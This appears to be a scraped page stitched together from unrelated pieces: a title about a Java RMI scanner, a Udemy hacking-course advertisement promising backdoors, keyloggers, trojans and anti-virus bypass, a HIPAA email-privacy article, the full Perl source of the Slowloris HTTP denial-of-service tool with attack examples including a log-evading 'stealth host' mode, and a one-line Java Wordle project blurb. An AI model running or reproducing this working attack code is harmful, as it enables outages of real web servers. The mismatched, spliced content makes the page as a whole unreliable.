Java RMI Vulnerability Scanner

Welcome to my comprehensive course on python programming and ethical hacking. The course assumes you have NO prior knowledge in any of these topics, and by the end of it you'll be at a high intermediate level being able to combine both of these skills to write python programs to hack into computer systems exactly the same way that black hat hackers do. That's not all, you'll also be able to use the programming skills you learn to write any program even if it has nothing to do with hacking. This course is highly practical but it won't neglect the theory, we'll start with basics of ethical hacking and python programming and installing the needed software. Then we'll dive and start programming straight away. You'll learn everything by example, by writing useful hacking programs, no boring dry programming lectures. The course is divided into a number of sections, each aims to achieve a specific goal, the goal is usually to hack into a certain system! We'll start by learning how this system work and its weaknesses, then you'll lean how to write a python program to exploit these weaknesses and hack the system. As we write the program I will teach you python programming from scratch covering one topic at a time. By the end of the course you're going to have a number of ethical hacking programs written by yourself (see below) from backdoors, keyloggers, credential harvesters, network hacking tools, website hacking tools and the list goes on. You'll also have a deep understanding on how computer systems work, how to model problems, design an algorithm to solve problems and implement the solution using python. As mentioned in this course you will learn both ethical hacking and programming at the same time, here are some of the topics that will be covered in the course: Programming topics: Writing programs for python 2 and 3. Using modules and libraries. Variables, types ...etc. Handling user input. Reading and writing files. Functions. Loops. Data structures. Regex. Desiccation making. Recursion. Threading. Object oriented programming. Packet manipulation using scapy. Netfilterqueue. Socket programming. String manipulation. Exceptions. Serialisation. Compiling programs to binary executables. Sending & receiving HTTP requests. Parsing HTML. + more! Hacking topics: Basics of network hacking / penetration testing. Changing MAC address & bypassing filtering. Network mapping. ARP Spoofing - redirect the flow of packets in a network. DNS Spoofing - redirect requests from one website to another. Spying on any client connected to the network - see usernames, passwords, visited urls ....etc. Inject code in pages loaded by any computer connected to the same network. Replace files on the fly as they get downloaded by any computer on the same network. Detect ARP spoofing attacks. Bypass HTTPS. Create malware for Windows, OS X and Linux. Create trojans for Windows, OS X and Linux. Hack Windows, OS X and Linux using custom backdoor. Bypass Anti-Virus programs. Use fake login prompt to steal credentials. Display fake updates. Use own keylogger to spy on everything typed on a Windows & Linux. Learn the basics of website hacking / penetration testing. Discover subdomains. Discover hidden files and directories in a website. Run wordlist attacks to guess login information. Discover and exploit XSS vulnerabilities. Discover weaknesses in websites using own vulnerability scanner. Programs you'll build in this course: You'll learn all the above by implementing the following hacking programs mac_changer - changes MAC Address to anything we want. network_scanner - scans network and discovers the IP and MAC address of all connected clients. arp_spoofer - runs an arp spoofing attack to redirect the flow of packets in the network allowing us to intercept data. packet_sniffer - filters intercepted data and shows usernames, passwords, visited links ....etc dns_spoofer - redirects DNS requests, eg: redirects requests to from one domain to another. file_interceptor - replaces intercepted files with any file we want. code_injector - injects code in intercepted HTML pages. arpspoof_detector - detects ARP spoofing attacks. execute_command payload - executes a system command on the computer it gets executed on. execute_and_report payload - executes a system command and reports result via email. download_and_execute payload - downloads a file and executes it on target system. download_execute_and_report payload - downloads a file, executes it, and reports result by email. reverse_backdoor - gives remote control over the system it gets executed on, allows us to Access file system. Execute system commands. Download & upload files keylogger - records key-strikes and sends them to us by email. crawler - discovers hidden paths on a target website. discover_subdomains - discovers subdomains on target website. spider - maps the whole target website and discovers all files, directories and links. guess_login - runs a wordlist attack to guess login information. vulnerability_scanner - scans a target website for weaknesses and produces a report with all findings. As you build the above you'll learn: Setting up a penetration testing lab to practice hacking safely. Installing Kali Linux and Windows as virtual machines inside ANY operating system. Linux Basics. Linux terminal basics. How networks work. How clients communicate in a network. Address Resolution Protocol - ARP. Network layers. Domain Name System - DNS. Hypertext Transfer Protocol - HTTP. HTTPS. How anti-virus programs work. Sockets. Connecting devices over TCP. Transferring data over TCP. How website work. GET & POST requests. And more! By the end of the course you're going to have programming skills to write any program even if it has nothing to do with hacking, but you'll learn programming by programming hacking tools! With this course you'll get 24/7 support, so if you have any questions you can post them in the Q&A section and we'll respond to you within 15 hours. Notes: This course is created for educational purposes only and all the attacks are launched in my own lab or against devices that I have permission to test. This course is totally a product of Zaid Sabih & zSecurity, no other organisation is associated with it or a certification exam. Although, you will receive a Course Completion Certification from Udemy, apart from that NO OTHER ORGANISATION IS INVOLVED. What you’ll learn 170+ videos on Python programming & ethical hacking Install hacking lab & needed software (on Windows, OS X and Linux) Learn 2 topics at the same time - Python programming & Ethical Hacking Start from 0 up to a high-intermediate level Write over 20 ethical hacking and security programs Learn by example, by writing exciting programs Model problems, design solutions & implement them using Python Write programs in Python 2 and 3 Write cross platform programs that work on Windows, OS X & Linux Have a deep understanding on how computer systems work Have a strong base & use the skills learned to write any program even if its not related to hacking Understand what is Hacking, what is Programming, and why are they related Design a testing lab to practice hacking & programming safely Interact & use Linux terminal Understand what MAC address is & how to change it Write a python program to change MAC address Use Python modules and libraries Understand Object Oriented Programming Write object oriented programs Model & design extendable programs Write a program to discover devices connected to the same network Read, analyse & manipulate network packets Understand & interact with different network layers such as ARP, DNS, HTTP ....etc Write a program to redirect the flow of packets in a network (arp spoofer) Write a packet sniffer to filter interesting data such as usernames and passwords Write a program to redirect DNS requests (DNS Spoofer) Intercept and modify network packets on the fly Write a program to replace downloads requested by any computer on the network Analyse & modify HTTP requests and responses Inject code in HTML pages loaded by any computer on the same network Downgrade HTTPS to HTTP Write a program to detect ARP Spoofing attacks Write payloads to download a file, execute command, download & execute, download execute & report .....etc Use sockets to send data over TCP Send data reliably over TCP Write client-server programs Write a backdoor that works on Windows, OS X and Linux Implement cool features in the backdoor such as file system access, upload and download files and persistence Write a remote keylogger that can register all keystrikes and send them by Email Interact with files using python (read, write & modify) Convert python programs to binary executables that work on Windows, OS X and Linux Convert malware to torjans that work and function like other file types like an image or a PDF Bypass Anti-Virus Programs Understand how websites work, the technologies used and how to test them for weaknesses Send requests towebsites and analyse responses Write a program that can discover hidden paths in a website Write a program that can map a website and discover all links, subdomains, files and directories Extract and submit forms from python Run dictionary attacks and guess login information on login pages Analyse HTML using Python Interact with websites using Python Write a program that can discover vulnerabilities in websites Are there any course requirements or prerequisites? Basic IT knowledge No Linux, programming or hacking knowledge required. Computer with a minimum of 4GB ram/memory Operating System: Windows / OS X / Linux Who this course is for: Anybody interested in learning Python programming Anybody interested in learning ethical hacking / penetration testing Instructor User photo Zaid Sabih Ethical Hacker, Computer Scientist & CEO of zSecurity My name is Zaid Al-Quraishi, I am an ethical hacker, a computer scientist, and the founder and CEO of zSecurity. I just love hacking and breaking the rules, but don’t get me wrong as I said I am an ethical hacker. I have tremendous experience in ethical hacking, I started making video tutorials back in 2009 in an ethical hacking community (iSecuri1ty), I also worked as a pentester for the same company. In 2013 I started teaching my first course live and online, this course received amazing feedback which motivated me to publish it on Udemy. This course became the most popular and the top paid course in Udemy for almost a year, this motivated me to make more courses, now I have a number of ethical hacking courses, each focusing on a specific field, dominating the ethical hacking topic on Udemy. Now I have more than 350,000 students on Udemy and other teaching platforms such as StackSocial, StackSkills and zSecurity. Instructor User photo z Security Leading provider of ethical hacking and cyber security training, zSecurity is a leading provider of ethical hacking and cyber security training, we teach hacking and security to help people become ethical hackers so they can test and secure systems from black-hat hackers. Becoming an ethical hacker is simple but not easy, there are many resources online but lots of them are wrong and outdated, not only that but it is hard to stay up to date even if you already have a background in cyber security. Our goal is to educate people and increase awareness by exposing methods used by real black-hat hackers and show how to secure systems from these hackers. Video course

In the past few years, opportunities to communicate electronically have increased significantly and electronic communication (e-communication) is no longer limited to e-mail on the desktop. The advent of web enabled (or smart) phones and pad computers makes it possible to access information and send and receive messages anywhere there is a cell signal or wireless network. Mobile communication technologies have spread with remarkable speed. By the end of 2011, more than 5.6 billion people worldwide were using cell phones and smart phone purchases had outpaced computers. Physicians are embracing the technology. HIPAA 2018 Changes In this HIPAA session we will be discussing HIPAA 2018 Changes taking place in Washington with the Health and Human Services when it comes to the enforcement of the HIPAA regulations already on the books as well as some step-by-step discussions on the audit method and some current functions regarding HIPAA cases (both in courtrooms and from live audits). Attend this Session What not to Use Do not use the patient's name, initials, or medical record number in the subject line of an email. Also, do not use direct patient identifiers in the message content. This includes: Names Phone numbers Fax numbers Electronic mail addresses Social Security numbers Medical record numbers Health plan beneficiary numbers Account numbers and other personal details HIPAA - Texting & Emailing in 2018 With the introduction of smartphones, emails have become the even more accessible form of communication. In conjunction with email comes the issue of security and them being intercepted and read by unintended persons. Precautions and steps are to be taken at every step of the way. So for a Healthcare concern or a business associate, it's a key to maximize patient communication tools while protecting itself and the organization from government penalties and patient lawsuits. Attend this Session Limit the amount of personal health record information you include in electronic communication. Don't include any highly sensitive information, such as: Mental Illness or Developmental Disability HIV/AIDS Testing or Treatment Communicable Diseases Venereal Disease(s) Substance (i.e., alcohol or drug) Abuse Abuse of an Adult with a Disability Sexual Assault and other sensitive details HIPAA Privacy Officer: Module 1 HIPAA Privacy Officer Training will uncover all HIPAA and HITECH expectations in protecting patient and member's right to privacy and the confidentiality of Protected Health Information (PHI) as you engage in treatment, payment, and healthcare operations (TPO) services. Attend this Session What you need to know before you hit "send" The HIPAA Privacy Rule permits healthcare providers to use e-mail to discuss health issues and treatment with their patients, provided they apply reasonable safeguards when doing so. These precautions are intended to prevent unintentional disclosures of ePHI and may include: Double and triple-checking the e-mail address to ensure accuracy before sending Sending an e-mail to the patient to confirm the address prior to sending any e-mail with ePHI Limiting the type or amount of information disclosed through e-mail, including ePHI Encrypting the e-mail prior to sending Alerting the patient to the relative risks of using unencrypted e-mail to communicate sensitive information, such as the potential for interception by a third party; having the e-mail read by a person with whom the patient has shared their e-mail login and password; accessing private e-mail on a public computer, such as in a library or on a shared computer at work HIPAA Privacy Officer Module: 2 HIPAA Privacy Officer Training will cover all ongoing activities of a Privacy Program related to the development, implementation, maintenance of, and adherence to the organization's policies and procedures covering the privacy of, and access to, patient health information in compliance with federal and state laws and the healthcare organization's information privacy practices. Attend this Session Privacy and Security Require passwords and current antivirus (malware) protection for all devices (pads, laptops, desktops, smart phones) including providers' personal devices. Most smart phone and pad computer users do not use a password, defer to the pre-programmed password or use a simplistic password that is easy to guess. Develop and enforce password requirements. The portability of smart phones and pad computers makes them highly vulnerable to theft, loss and electronic snooping. Inventory all portable devices used by providers to communicate protected health information. Ensure the ability to lock or remote wipe the devices if lost or stolen. Most of the suggestions on e-mailing with patients also apply to text messaging (SMS), where applicable. It should be noted that, while a text message cannot be encrypted, there are third party vendors that offer so-called "HIPAA-compliant" text messaging services, which address the Person or Entity Authentication and the Transmission Security standards of the Security Rule. It is important for practices, providers and patients to understand the risks and benefits of communicating health care information electronically and to mitigate and manage the risks appropriately.....https://www.complyarena.com/articledetails/42

#!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc::: CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc:: CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc:::: CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } use Data::Dumper; warn Dumper \$host; unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris =head1 VERSION Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake <h@ckers.org> with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example: ./slowloris.pl -dns www.example.com -port 80 -test This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though. =head3 HTTP DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example: ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:

This project is a Java-based implementation of the popular word-guessing game Wordle. The application uses Java RMI (Remote Method Invocation) to facilitate communication between clients and a server in a client-server architecture.